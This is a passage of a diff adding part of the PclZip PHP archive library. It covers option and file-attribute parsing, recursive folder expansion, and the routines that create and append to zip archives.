+        case PCLZIP_OPT_REMOVE_PATH :
+        case PCLZIP_OPT_ADD_PATH :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
+          $i++;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+            return PclZip::errorCode();
+          }
+
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
+            return PclZip::errorCode();
+          }
+
+          // ----- Check the value
+          $v_value = $p_options_list[$i+1];
+          if ((!is_integer($v_value)) || ($v_value<0)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value (and convert it in bytes)
+          $v_result_list[$p_options_list[$i]] = $v_value*1048576;
+          $i++;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_ON :
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
+            return PclZip::errorCode();
+          }
+
+          $v_result_list[$p_options_list[$i]] = true;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_OFF :
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
+            return PclZip::errorCode();
+          }
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
+            return PclZip::errorCode();
+          }
+
+          $v_result_list[$p_options_list[$i]] = true;
+        break;
+
+        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (   is_string($p_options_list[$i+1])
+              && ($p_options_list[$i+1] != '')) {
+            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
+            $i++;
+          }
+          else {
+          }
+        break;
+
+        // ----- Look for options that request an array of string for value
+        case PCLZIP_OPT_BY_NAME :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+          $i++;
+        break;
+
+        // ----- Look for options that request an EREG or PREG expression
+        case PCLZIP_OPT_BY_EREG :
+          // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
+          // to PCLZIP_OPT_BY_PREG
+          $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
+        case PCLZIP_OPT_BY_PREG :
+        //case PCLZIP_OPT_CRYPT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+          $i++;
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_OPT_COMMENT :
+        case PCLZIP_OPT_ADD_COMMENT :
+        case PCLZIP_OPT_PREPEND_COMMENT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
+			                     "Missing parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
+			                     "Wrong parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+          $i++;
+        break;
+
+        // ----- Look for options that request an array of index
+        case PCLZIP_OPT_BY_INDEX :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_work_list = array();
+          if (is_string($p_options_list[$i+1])) {
+
+              // ----- Remove spaces
+              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
+
+              // ----- Parse items
+              $v_work_list = explode(",", $p_options_list[$i+1]);
+          }
+          else if (is_integer($p_options_list[$i+1])) {
+              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              $v_work_list = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Reduce the index list
+          // each index item in the list must be a couple with a start and
+          // an end value : [0,3], [5-5], [8-10], ...
+          // ----- Check the format of each item
+          $v_sort_flag=false;
+          $v_sort_value=0;
+          for ($j=0; $j<sizeof($v_work_list); $j++) {
+              // ----- Explode the item
+              $v_item_list = explode("-", $v_work_list[$j]);
+              $v_size_item_list = sizeof($v_item_list);
+
+              // ----- TBC : Here we might check that each item is a
+              // real integer ...
+
+              // ----- Look for single value
+              if ($v_size_item_list == 1) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
+              }
+              elseif ($v_size_item_list == 2) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
+              }
+              else {
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  return PclZip::errorCode();
+              }
+
+
+              // ----- Look for list sort
+              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
+                  $v_sort_flag=true;
+
+                  // ----- TBC : An automatic sort should be writen ...
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  return PclZip::errorCode();
+              }
+              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
+          }
+
+          // ----- Sort the items
+          if ($v_sort_flag) {
+              // TBC : To Be Completed
+          }
+
+          // ----- Next option
+          $i++;
+        break;
+
+        // ----- Look for options that request no value
+        case PCLZIP_OPT_REMOVE_ALL_PATH :
+        case PCLZIP_OPT_EXTRACT_AS_STRING :
+        case PCLZIP_OPT_NO_COMPRESSION :
+        case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
+        case PCLZIP_OPT_REPLACE_NEWER :
+        case PCLZIP_OPT_STOP_ON_ERROR :
+          $v_result_list[$p_options_list[$i]] = true;
+        break;
+
+        // ----- Look for options that request an octal value
+        case PCLZIP_OPT_SET_CHMOD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          $i++;
+        break;
+
+        // ----- Look for options that request a call-back
+        case PCLZIP_CB_PRE_EXTRACT :
+        case PCLZIP_CB_POST_EXTRACT :
+        case PCLZIP_CB_PRE_ADD :
+        case PCLZIP_CB_POST_ADD :
+        /* for futur use
+        case PCLZIP_CB_PRE_DELETE :
+        case PCLZIP_CB_POST_DELETE :
+        case PCLZIP_CB_PRE_LIST :
+        case PCLZIP_CB_POST_LIST :
+        */
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_function_name = $p_options_list[$i+1];
+
+          // ----- Check that the value is a valid existing function
+          if (!function_exists($v_function_name)) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Set the attribute
+          $v_result_list[$p_options_list[$i]] = $v_function_name;
+          $i++;
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Unknown parameter '"
+							   .$p_options_list[$i]."'");
+
+          // ----- Return
+          return PclZip::errorCode();
+      }
+
+      // ----- Next options
+      $i++;
+    }
+
+    // ----- Look for mandatory options
+    if ($v_requested_options !== false) {
+      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+        // ----- Look for mandatory option
+        if ($v_requested_options[$key] == 'mandatory') {
+          // ----- Look if present
+          if (!isset($v_result_list[$key])) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+        }
+      }
+    }
+
+    // ----- Look for default values
+    if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
+
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOptionDefaultThreshold()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privOptionDefaultThreshold(&$p_options)
+  {
+    $v_result=1;
+
+    if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+        || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
+      return $v_result;
+    }
+
+    // ----- Get 'memory_limit' configuration value
+    $v_memory_limit = ini_get('memory_limit');
+    $v_memory_limit = trim($v_memory_limit);
+    $last = strtolower(substr($v_memory_limit, -1));
+
+    if($last == 'g')
+        //$v_memory_limit = $v_memory_limit*1024*1024*1024;
+        $v_memory_limit = $v_memory_limit*1073741824;
+    if($last == 'm')
+        //$v_memory_limit = $v_memory_limit*1024*1024;
+        $v_memory_limit = $v_memory_limit*1048576;
+    if($last == 'k')
+        $v_memory_limit = $v_memory_limit*1024;
+
+    $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO);
+
+
+    // ----- Sanity check : No threshold if value lower than 1M
+    if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
+      unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrParseAtt()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
+  {
+    $v_result=1;
+
+    // ----- For each file in the list check the attributes
+    foreach ($p_file_list as $v_key => $v_value) {
+
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$v_key])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for attribute
+      switch ($v_key) {
+        case PCLZIP_ATT_FILE_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
+
+          if ($p_filedescr['filename'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
+
+          if ($p_filedescr['new_short_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_FULL_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
+
+          if ($p_filedescr['new_full_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_ATT_FILE_COMMENT :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['comment'] = $v_value;
+        break;
+
+        case PCLZIP_ATT_FILE_MTIME :
+          if (!is_integer($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['mtime'] = $v_value;
+        break;
+
+        case PCLZIP_ATT_FILE_CONTENT :
+          $p_filedescr['content'] = $v_value;
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                           "Unknown parameter '".$v_key."'");
+
+          // ----- Return
+          return PclZip::errorCode();
+      }
+
+      // ----- Look for mandatory options
+      if ($v_requested_options !== false) {
+        for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+          // ----- Look for mandatory option
+          if ($v_requested_options[$key] == 'mandatory') {
+            // ----- Look if present
+            if (!isset($p_file_list[$key])) {
+              PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+              return PclZip::errorCode();
+            }
+          }
+        }
+      }
+
+    // end foreach
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrExpand()
+  // Description :
+  //   This method look for each item of the list to see if its a file, a folder
+  //   or a string to be added as file. For any other type of files (link, other)
+  //   just ignore the item.
+  //   Then prepare the information that will be stored for that file.
+  //   When its a folder, expand the folder with all the files that are in that
+  //   folder (recursively).
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrExpand(&$p_filedescr_list, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Create a result list
+    $v_result_list = array();
+
+    // ----- Look each entry
+    for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
+
+      // ----- Get filedescr
+      $v_descr = $p_filedescr_list[$i];
+
+      // ----- Reduce the filename
+      $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
+      $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
+
+      // ----- Look for real file or folder
+      if (file_exists($v_descr['filename'])) {
+        if (@is_file($v_descr['filename'])) {
+          $v_descr['type'] = 'file';
+        }
+        else if (@is_dir($v_descr['filename'])) {
+          $v_descr['type'] = 'folder';
+        }
+        else if (@is_link($v_descr['filename'])) {
+          // skip
+          continue;
+        }
+        else {
+          // skip
+          continue;
+        }
+      }
+
+      // ----- Look for string added as file
+      else if (isset($v_descr['content'])) {
+        $v_descr['type'] = 'virtual_file';
+      }
+
+      // ----- Missing file
+      else {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Calculate the stored filename
+      $this->privCalculateStoredFilename($v_descr, $p_options);
+
+      // ----- Add the descriptor in result list
+      $v_result_list[sizeof($v_result_list)] = $v_descr;
+
+      // ----- Look for folder
+      if ($v_descr['type'] == 'folder') {
+        // ----- List of items in folder
+        $v_dirlist_descr = array();
+        $v_dirlist_nb = 0;
+        if ($v_folder_handler = @opendir($v_descr['filename'])) {
+          while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
+
+            // ----- Skip '.' and '..'
+            if (($v_item_handler == '.') || ($v_item_handler == '..')) {
+                continue;
+            }
+
+            // ----- Compose the full filename
+            $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
+
+            // ----- Look for different stored filename
+            // Because the name of the folder was changed, the name of the
+            // files/sub-folders also change
+            if (($v_descr['stored_filename'] != $v_descr['filename'])
+                 && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
+              if ($v_descr['stored_filename'] != '') {
+                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
+              }
+              else {
+                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
+              }
+            }
+
+            $v_dirlist_nb++;
+          }
+
+          @closedir($v_folder_handler);
+        }
+        else {
+          // TBC : unable to open folder in read mode
+        }
+
+        // ----- Expand each element of the list
+        if ($v_dirlist_nb != 0) {
+          // ----- Expand
+          if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
+            return $v_result;
+          }
+
+          // ----- Concat the resulting list
+          $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
+        }
+        else {
+        }
+
+        // ----- Free local array
+        unset($v_dirlist_descr);
+      }
+    }
+
+    // ----- Get the result list
+    $p_filedescr_list = $v_result_list;
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCreate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the file in write mode
+    if (($v_result = $this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Add the list of files
+    $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAdd()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Look if the archive exists or is empty
+    if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
+    {
+
+      // ----- Do a create
+      $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
+
+      // ----- Return
+      return $v_result;
+    }
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($this->zip_fd);
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      fclose($v_zip_temp_fd);
+      $this->privCloseFd();
+      @unlink($v_zip_temp_name);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Create the Central Dir files header
+    for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          fclose($v_zip_temp_fd);
+          $this->privCloseFd();
+          @unlink($v_zip_temp_name);
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Return
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = $v_central_dir['comment'];
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
+      $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOpenFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privOpenFd($p_mode)
+  {
+    $v_result=1;
+
+    // ----- Look if already open
+    if ($this->zip_fd != 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Open the zip file
+    if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCloseFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privCloseFd()
+  {
+    $v_result=1;
+
+    if ($this->zip_fd != 0)
+      @fclose($this->zip_fd);
+    $this->zip_fd = 0;
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddList()
+  // Description :
+  //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
+  //   different from the real path of the file. This is usefull if you want to have PclTar
+  //   running in any directory, and memorize relative path from an other directory.
+  // Parameters :
+  //   $p_list : An array containing the file or directory names to add in the tar
